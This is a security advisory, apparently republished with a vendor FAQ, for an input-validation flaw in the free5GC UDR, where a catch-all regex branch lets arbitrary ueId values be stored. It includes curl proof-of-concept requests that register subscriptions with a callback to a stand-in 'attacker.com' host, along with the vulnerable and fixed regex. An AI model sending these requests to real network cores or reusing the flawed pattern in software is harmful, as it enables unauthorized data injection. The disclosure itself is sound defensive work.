CVE-2026-47780

The free5GC UDR accepts arbitrary non-3GPP ueId values in the EE subscription creation and query flows because the regular expression used for validation ends with the catch-all alternative |.+. This causes the validation logic to accept any non-empty string rather than restricting input to expected SUPI/GPSI-style formats. In a tested deployment, a crafted value such as ARBITRARY_STRING was successfully stored through the POST /nudr-dr/v2/subscription-data/{ueId}/context-data/ee-subscriptions endpoint and later retrieved through the corresponding GET endpoint, demonstrating persistent database pollution and broken trust boundaries in the UDR data model.

An improper input validation issue exists in the free5GC UDR EE subscription handlers responsible for creating and querying UE event exposure subscriptions. The affected code validates ueId with a regular expression that includes a final |.+ branch, which matches any non-empty string and defeats the intended 3GPP identifier checks. As a result, an attacker able to reach the UDR SBI can submit arbitrary identifiers and have them persisted and retrieved as valid subscription records, causing unauthorized data creation and corruption of the UDR data store.

Details

The vulnerable logic is present in two handlers in api_datarepository.go: HandleCreateEeSubscriptions and HandleQueryeesubscriptions. Both paths rely on the same regexp.MatchString() validation pattern for ueId: ^(imsi-[0-9]{5,15}|nai-.+|msisdn-[0-9]{5,15}|extid-[^@]+@[^@]+|gci-.+|gli-.+|.+)$. The final alternative .+ acts as a universal match for any non-empty string, so values that do not conform to IMSI, NAI, MSISDN, EXTID, GCI, or GLI formats are still accepted.

Once the validation succeeds, the handlers pass the attacker-controlled ueId into the normal processing flow. In the tested environment, POST /nudr-dr/v2/subscription-data/ARBITRARY_STRING/context-data/ee-subscriptions returned 201 Created, and the response Location header pointed to a newly created resource under the arbitrary identifier. A subsequent GET /nudr-dr/v2/subscription-data/ARBITRARY_STRING/context-data/ee-subscriptions returned 200 OK with a JSON body, confirming that the data was persisted and retrievable. This demonstrates that the issue is not limited to superficial input acceptance; it results in server-side storage of untrusted identifiers in the UDR backend.

The vulnerable pattern appears to reflect a permissive schema-style expression rather than a security-oriented validator. In an OpenAPI or data-model context, a catch-all alternative may describe allowed generic strings, but in request validation logic it nullifies the protection provided by the more specific alternatives. The proper fix is to remove the trailing |.+ branch and restrict accepted input to explicitly supported identifier formats only.

PoC

The issue was reproduced against a running free5GC UDR instance listening on 10.22.22.5:80 with the nudr-dr API exposed under /v2. The following commands demonstrate the behavior.

Environment

• UDR IP: 10.22.22.5
• UDR port: 80
• API base path: /nudr-dr/v2
• Tested endpoint family: /subscription-data/{ueId}/context-data/ee-subscriptions

Step 1: Create an EE subscription with a legitimate identifier

curl -X POST "http://10.22.22.5:80/nudr-dr/v2/subscription-data/imsi-208930000000001/context-data/ee-subscriptions" \
  -H "Content-Type: application/json" \
  -d '{"callbackReference": "http://attacker.com/notify"}' -v

Expected observed result in the test environment:

• HTTP/1.1 201 Created
• Location: http://udr.sbi.fub5g.it:80/nudr-dr/v2/subscription-data/imsi-208930000000001/context-data/ee-subscriptions/1

Step 2: Create an EE subscription with an arbitrary non-3GPP identifier

curl -X POST "http://10.22.22.5:80/nudr-dr/v2/subscription-data/ARBITRARY_STRING/context-data/ee-subscriptions" \
  -H "Content-Type: application/json" \
  -d '{"callbackReference": "http://attacker.com/notify"}' -v

Observed result in the test environment:

• HTTP/1.1 201 Created
• Location: http://udr.sbi.fub5g.it:80/nudr-dr/v2/subscription-data/ARBITRARY_STRING/context-data/ee-subscriptions/2
• Body: {}

This confirms that the arbitrary ueId passed validation and was accepted as a valid resource key.

Step 3: Retrieve the data stored under the arbitrary identifier

curl "http://10.22.22.5:80/nudr-dr/v2/subscription-data/ARBITRARY_STRING/context-data/ee-subscriptions" -v

Observed result in the test environment:

• HTTP/1.1 200 OK
• Body: [{}]

This confirms persistence and retrieval of a subscription record under an attacker-chosen invalid ueId.

Affected code pattern

match, err := regexp.MatchString(
    `^(imsi-[0-9]{5,15}|nai-.+|msisdn-[0-9]{5,15}|extid-[^@]+@[^@]+|gci-.+|gli-.+|.+)$`,
    ueId,
)
if !match {
    // return 400
}

This is an improper input validation vulnerability that enables arbitrary identifier injection into the UDR EE subscription data path. Any actor with network reachability to the UDR SBI endpoint can create and query records bound to non-compliant, attacker-controlled ueId values. Depending on deployment assumptions, this may allow unauthorized data creation, persistent data corruption, namespace pollution, and interference with downstream components that trust UDR-stored identifiers to follow valid 3GPP formats.

The issue affects deployments exposing the vulnerable UDR EE subscription handlers and is particularly relevant in lab, test, and loosely segmented SBI environments where direct access to the UDR is possible. Because the flaw results in persistence of attacker-chosen identifiers, the impact extends beyond a simple validation bypass and reaches integrity of stored subscriber-related metadata.

The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.

Kodem intelligence

match, err := regexp.MatchString(
    `^(imsi-[0-9]{5,15}|nai-.+|msisdn-[0-9]{5,15}|extid-[^@]+@[^@]+|gci-.+|gli-.+)$`,
    ueId,
)

1. What is CVE-2026-47780? CVE-2026-47780 is a medium-severity improper input validation vulnerability in github.com/free5gc/udr (go), affecting versions <= 1.4.3. No fixed version is listed yet. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
2. Which versions of github.com/free5gc/udr are affected by CVE-2026-47780? github.com/free5gc/udr (go) versions <= 1.4.3 is affected.
3. Is there a fix for CVE-2026-47780? No fixed version is listed for CVE-2026-47780 yet. Monitor the advisory for updates and apply mitigations in the interim.
4. Is CVE-2026-47780 exploitable, and should I be worried? Whether CVE-2026-47780 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-47780 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-47780? No fixed version is listed yet. In the interim: Validate all external input against an allowlist of expected values, types, and ranges before processing.